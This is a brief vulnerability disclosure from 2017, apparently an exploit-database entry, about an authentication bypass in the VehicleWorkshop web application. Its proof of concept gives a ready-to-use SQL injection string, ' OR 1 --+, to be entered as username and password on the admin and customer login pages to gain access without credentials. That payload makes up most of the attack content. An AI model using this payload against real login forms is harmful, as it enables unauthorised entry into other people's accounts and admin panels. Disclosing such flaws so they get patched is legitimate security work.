VehicleWorkshop Authentication Bypass / SQL Injection
Posted on 02 August 2017
[*] Type: Admin or Customer login bypass via SQL injection [*] Author: Touhid M.Shaikh [*] Vendor Homepage: https://github.com/spiritson/VehicleWorkshop [*] Mail: touhidshaikh22[at]gmail[dot]com [*] More info: https://blog.touhidshaikh.com/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ===================== PoC ================ Admin Login Page : http://127.0.0.1/emplogin.php Customer Login Page : http://127.0.0.1/login.php Navigate admin login page or Customer Login Page and submit ' OR 1 --+ for username and password and it should give you access to the admin area or Customer Area. Regards. Touhid Shaikh
